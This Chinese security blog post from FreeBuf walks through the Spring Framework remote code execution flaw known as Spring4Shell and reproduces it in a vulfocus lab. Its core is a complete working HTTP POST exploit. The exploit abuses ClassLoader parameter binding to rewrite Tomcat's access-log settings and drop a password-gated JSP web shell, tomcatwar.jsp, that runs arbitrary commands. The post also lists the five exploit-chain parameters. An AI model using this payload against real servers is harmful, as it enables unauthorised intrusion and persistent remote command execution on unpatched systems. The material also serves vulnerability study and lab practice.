freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Spring Framwok远程命令执行漏洞解析
J1ngyu 2022-05-14 12:52:25 197710
所属地 四川省

Spring Framework简单介绍

Spring Frame为现代企业应用程序提供了一个全面和可配置的编程模型,开发者可以根据需要快速选择需要的模块。使用spring来管理应用程序,可以将开发者从基础框架中解脱出来,专注于业务逻辑开发,极大提高开发效率。

Spring主要是以下模块组成:

1652498413_627f1fed99c77dbef8003.png!small?1652498414148

  • Core container:IOC为核心层
  • Resource:资源
  • Aop:面向切面编程
  • Data Access:数据库访问层
  • Web:spring mvc层
  • Test:spring测试框架

漏洞原理

此次漏洞触发位置在spring-beans包中,当Spring利用了SpringMVC的参数绑定(Spring MVC 框架的参数绑定功能提供了将请求中的参数绑定控制器方法中参数对象的成员变量),并且开启了Accesslog功能时,通过 Classloader构造恶意请求获取AccessLogValue 对象并注入恶意字段值,来更改 Tomcat 服务器的日志记录属性触发 pipeline 机制写入任意路径下的文件。

漏洞复现

本此漏洞复现用的是vulfocus环境,一键部署后打开环境出现如下页面:

1652500817_627f2951e9e37bf9718fa.png!small?1652500818934

对页面进行抓包;并构造payload

1652503573_627f34151365fd749502b.png!small?1652503573647


payload如下:

POST / HTTP/1.1
Host: 123.58.236.76:14289
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: xxxxxxx
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 764

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

然后访问我们构造的tomcatwar.jsp的地址传入命令:whoami

1652503592_627f34284c4384cf0540f.png!small?1652503592874

成功执行命令

下面是payload的五个利用链:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=spring
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
具体调用流程可以去参考大佬博客:大佬解释

# 黑客 # 漏洞分析 # 网络安全技术
本文为 J1ngyu 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
J1ngyu LV.3
这家伙太懒了,还未填写个人描述!
  • 7 文章数
  • 5 关注者
DLL注入实现方式(附源码)
2023-12-26
脱钩实现免杀
2023-12-26
别太小看"静态免杀"
2023-12-26
文章目录